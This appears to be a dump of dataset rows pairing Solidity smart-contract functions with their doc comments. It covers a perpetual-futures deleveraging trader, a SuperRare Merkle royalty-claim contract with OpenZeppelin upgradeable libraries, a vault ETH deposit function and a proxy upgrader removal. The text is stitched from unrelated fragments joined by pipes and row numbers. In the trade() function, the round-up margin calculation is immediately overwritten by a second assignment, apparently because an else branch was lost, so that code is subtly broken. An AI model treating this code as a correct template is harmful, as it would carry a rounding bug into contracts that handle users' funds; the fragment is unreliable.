}
/**
* @notice Set the privileged deleveraging operator. Can only be called by the admin.
* @dev Emits the LogFundingRateProviderSet event.
*
* @param newOperator The new operator, who will have the ability to deleverage accounts
* without first marking them and waiting the timelock period.
*/
function setDeleveragingOperator(
address newOperator
)
external
onlyOwner
{
_DELEVERAGING_OPERATOR_ = newOperator;
emit LogDeleveragingOperatorSet(newOperator);
}
// ============ Helper Functions ============
function _unmark(
address account
)
private
{
_MARKED_TIMESTAMP_[account] = 0;
emit LogUnmarkedForDeleveraging(account);
}
function _isMarked(
address account
)
private
view
returns (bool)
{
return _MARKED_TIMESTAMP_[account] != 0;
}
function _verifyPermissions(
address sender,
address maker
)
private
view
{
// The privileged deleveraging operator may deleverage underwater accounts at any time.
if (sender != _DELEVERAGING_OPERATOR_) {
uint256 markedTimestamp = _MARKED_TIMESTAMP_[maker];
require(
markedTimestamp != 0,
"Cannot deleverage since account is not marked"
);
uint256 timeDelta = block.timestamp.sub(markedTimestamp);
require(
timeDelta >= DELEVERAGING_TIMELOCK_S,
"Cannot deleverage since account has not been marked for the timelock period"
);
}
}
function _verifyTrade(
TradeData memory tradeData,
PPTypes.Balance memory makerBalance,
PPTypes.Balance memory takerBalance,
uint256 price
)
private
pure
{
require(
_isUnderwater(makerBalance, price),
"Cannot deleverage since maker is not underwater"
);
require(
!tradeData.allOrNothing || makerBalance.position >= tradeData.amount,
"allOrNothing is set and maker position is less than amount"
);
require(
takerBalance.positionIsPositive != makerBalance.positionIsPositive,
"Taker position has wrong sign to deleverage this maker"
);
require(
!tradeData.allOrNothing || takerBalance.position >= tradeData.amount,
"allOrNothing is set and taker position is less than amount"
);
require(
tradeData.isBuy == makerBalance.positionIsPositive,
"deleveraging must not increase maker's position size"
);
// Disallow deleveraging in the edge case where both the position and margin are negative.
//
// This case is not handled correctly by PPTrade. If an account is in this situation, the
// margin should first be set to zero via a deposit, then the account should be deleveraged.
require(
makerBalance.marginIsPositive || makerBalance.margin == 0 ||
makerBalance.positionIsPositive || makerBalance.position == 0,
"Cannot liquidate when maker position and margin are both negative"
);
}
function _isUnderwater(
PPTypes.Balance memory balance,
uint256 price
)
private
pure
returns (bool)
{
(uint256 positive, uint256 negative) = balance.getPositiveAndNegativeValue(price);
return positive < negative;
}
function _isAccountUnderwater(
address account
)
private
view
returns (bool)
{
address perpetual = _POWER_PERPETUAL_;
PPTypes.Balance memory balance = PPGetters(perpetual).getAccountBalance(account);
address oracle = PPGetters(perpetual).getOracleContract();
uint256 price = I_PPOracle(oracle).getPrice();
return _isUnderwater(balance, price);
}
}
|
Allows an underwater (less than 100% collateralization) account to be subsumed by any other account with an offsetting position (a position of opposite sign). The sender must be the privileged deleveraging operator unless the account has been marked as underwater for the timelock period. Emits the LogDeleveraged event. May emit the LogUnmarkedForDeleveraging event. sender The address that called the trade() function on PowerPerpetual. maker The underwater account. taker The offsetting account. price The current oracle price of the underlying asset. data A struct of type TradeData. return The amounts to be traded, and flags indicating that deleveraging occurred./ Bound the execution amount by the size of the maker and taker positions. When partially deleveraging the maker, maintain the same position/margin ratio. Ensure the collateralization of the maker does not decrease.
|
function trade(
address sender,
address maker,
address taker,
uint256 price,
bytes calldata data,
bytes32 traderFlags
)
external
returns (PPTypes.TradeResult memory)
{
address perpetual = _POWER_PERPETUAL_;
require(
msg.sender == perpetual,
"msg.sender must be PowerPerpetual"
);
require(
traderFlags == 0,
"cannot deleverage after other trade operations, in the same tx"
);
_verifyPermissions(
sender,
maker
);
TradeData memory tradeData = abi.decode(data, (TradeData));
PPTypes.Balance memory makerBalance = PPGetters(perpetual).getAccountBalance(maker);
PPTypes.Balance memory takerBalance = PPGetters(perpetual).getAccountBalance(taker);
_verifyTrade(
tradeData,
makerBalance,
takerBalance,
price
);
uint256 amount = Math.min(
tradeData.amount,
Math.min(makerBalance.position, takerBalance.position)
);
uint256 marginAmount;
if (tradeData.isBuy) {
marginAmount = uint256(makerBalance.margin).getFractionRoundUp(
amount,
makerBalance.position
);
marginAmount = uint256(makerBalance.margin).getFraction(amount, makerBalance.position);
}
if (amount == makerBalance.position && _isMarked(maker)) {
_unmark(maker);
}
emit LogDeleveraged(
maker,
taker,
amount,
tradeData.isBuy,
price
);
return PPTypes.TradeResult({
marginAmount: marginAmount,
positionAmount: amount,
isBuy: tradeData.isBuy,
traderFlags: TRADER_FLAG_DELEVERAGING
});
}
| 15,824,741 |
// contracts/claim/SuperRareTokenMerkleDrop.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.3;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
contract CollectorRoyaltiesClaim is Initializable, OwnableUpgradeable {
bytes32 public claimRoot;
mapping(address => mapping(uint256 => bool)) public rewardClaimedForClaim;
uint256 public currentClaimId;
bool public paused;
event RoyaltyClaimed(
bytes32 indexed root,
address indexed addr,
uint256 indexed claimId,
uint256 amt
);
event NewClaim(uint256 indexed claimId, bytes32 indexed root);
modifier notPaused() {
require(!paused, "Cannot call when contract is paused.");
_;
}
function initialize(bytes32 merkleRoot) public initializer {
require(merkleRoot != bytes32(0), "MerkleRoot cant be empty.");
__Ownable_init();
claimRoot = merkleRoot;
currentClaimId = 0;
paused = false;
}
function claim(uint256 amount, bytes32[] calldata proof) public notPaused {
require(
verifyEntitled(_msgSender(), amount, proof),
"The proof could not be verified."
);
require(
!rewardClaimedForClaim[_msgSender()][currentClaimId],
"You have already withdrawn your entitled token."
);
rewardClaimedForClaim[_msgSender()][currentClaimId] = true;
address payable sender = _msgSender();
sender.transfer(amount);
emit RoyaltyClaimed(claimRoot, _msgSender(), currentClaimId, amount);
}
function verifyEntitled(
address recipient,
uint256 value,
bytes32[] memory proof
) public view returns (bool) {
// We need to pack the 20 bytes address to the 32 bytes value
// to match with the proof
bytes32 leaf = keccak256(abi.encodePacked(recipient, value));
return verifyProof(leaf, proof);
}
function verifyProof(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
bytes32 currentHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
currentHash = parentHash(currentHash, proof[i]);
}
return currentHash == claimRoot;
}
function parentHash(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return
a <= b
? keccak256(abi.encodePacked(a, b))
: keccak256(abi.encodePacked(b, a));
}
function updateMerkleRoot(bytes32 newRoot) external onlyOwner {
claimRoot = newRoot;
}
function createNewClaim(bytes32 newRoot) external onlyOwner {
currentClaimId = currentClaimId + 1;
claimRoot = newRoot;
paused = false;
emit NewClaim(currentClaimId, claimRoot);
}
function setClaimMappingToFalse(address[] memory addrs, uint256 claimId)
public
onlyOwner
{
for (uint256 i = 0; i < addrs.length; i++) {
rewardClaimedForClaim[addrs[i]][claimId] = false;
}
}
function pause() external onlyOwner {
paused = true;
}
function unpause() external onlyOwner {
paused = false;
}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
We need to pack the 20 bytes address to the 32 bytes value to match with the proof
|
function verifyEntitled(
address recipient,
uint256 value,
bytes32[] memory proof
) public view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(recipient, value));
return verifyProof(leaf, proof);
}
| 500,767 |
./full_match/1/0x4599E4F3Eea04BADD41501bF79183e67f6Cf569d/sources/contracts/HighTableVaultETH.sol
|
@inheritdoc IHighTableVaultETH
|
function requestDepositETH(uint256 _assets, address _receiver) external override payable nonReentrant {
if (msg.value != _assets) revert IncorrectETHAmount();
_internalRequestDeposit(_assets, _receiver);
}
| 17,149,112 |
./partial_match/1/0x7Fa3DA433CDA778564F82f6102f20A8FE195bFD5/sources/Proxy.sol
|
Deregisters an upgrader. _upgrader The _upgrader./
|
function deregisterUpgrader(address _upgrader) external onlyOwner {
require(upgraders[_upgrader].exists, "MR: upgrader does not exist");
delete upgraders[_upgrader];
emit UpgraderDeRegistered(_upgrader);
}
| 9,307,978 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.